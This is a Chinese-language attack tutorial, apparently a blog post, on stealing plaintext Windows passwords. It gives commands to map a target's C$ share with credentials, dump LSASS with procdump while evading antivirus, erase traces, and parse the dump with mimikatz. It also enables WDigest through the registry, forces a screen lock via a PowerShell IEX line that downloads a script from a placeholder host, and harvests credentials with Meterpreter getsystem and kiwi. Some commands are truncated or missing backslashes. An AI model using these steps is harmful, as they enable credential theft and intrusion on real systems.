获取Windows明文密码小技巧
Procdump+Mimikatz
利用Procdump+Mimikatz绕过杀软获取Windows明文密码。
工具准备:
1 | procdump: |
把procdump
上传到目标主机
- 远程桌面连接,若是目标正在登录,容易暴露自己
- 与目标建立连接或映射
第一种方法不再多说,详细说说第二种方法
首先我们需要能够访问别人的C$(通常只有管理员可以)
1 | net use \\target\c$ /user:domain\username password |
上传文件到目标主机
1 | mkdir \\target\c$\Temp |
procdump.bat的内容如下
1 | @echo off |
这里一个技巧就是dump得到的文件名中有”计算机名”,这样可以让我们区分dump的文件来自哪台主机
procdump 是微软的官方工具,不会被杀,所以如果你的 mimikatz 不免杀,可以用 procdump 导出 lsass.dmp 后拖回本地抓取密码来规避杀软,也可以采用 pid 方式规避杀软
使用net time
来获取远程主机上的时间
1 | net time \\target |
拷贝dump的文件,然后清理痕迹
1 | dir \\target\C$\Temp |
将生成的*lsass.dmp
拷贝到本地攻击机,使用mimikatz
把结果导出到文本
1 | mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit" > password.txt |
成功从内存中提取明文密码
高版本抓取密码
在 KB2871997 之前, Mimikatz 可以直接抓取明文密码。
微软在 win7 之后就打了补丁 kb2871997,当服务器安装 KB2871997 补丁后,系统默认禁用 Wdigest Auth ,内存(lsass 进程)不再保存明文口令。Mimikatz 将读不到密码明文。
但由于一些系统服务需要用到 Wdigest Auth,所以该选项是可以手动开启的。(开启后,需要用户重新登录才能生效)
以下是支持的系统:
1 | Windows 7 |
开启Wdigest Auth
cmd
1 | reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f |
powershell
1 | Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1 |
meterpreter
1 | reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogon |
关闭 Wdigest Auth
cmd
1 | reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f |
powershell
1 | Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0 |
meterpreter
1 | reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCreden |
在开启 Wdigest Auth 后,需要管理员重新登录才能抓明文密码。
强制锁屏
cmd
1 | rundll32 user32.dll,LockWorkStation |
powershell
1 | Function Lock-WorkStation |
1 | powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://x.x.x.x/Lock-WorkStation.ps1');" |
重新读取,可读到明文密码。
MSF kiwi模块
使用kiwi模块需要system权限,所以我们在使用该模块之前需要将当前MSF中的shell提升为system。
提到system有两个方法,一是当前的权限是administrator用户,二是利用其它手段先提权到administrator用户。然后administrator用户可以直接getsystem到system权限。
1 | meterpreter > getuidServer username: BYPASS-E97BA3FC\Administratormeterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).meterpreter > getuidServer username: NT AUTHORITY\SYSTEM |
加载kiwi模块:
1 | load kiwi |
列举系统中的明文密码:
1 | creds_all |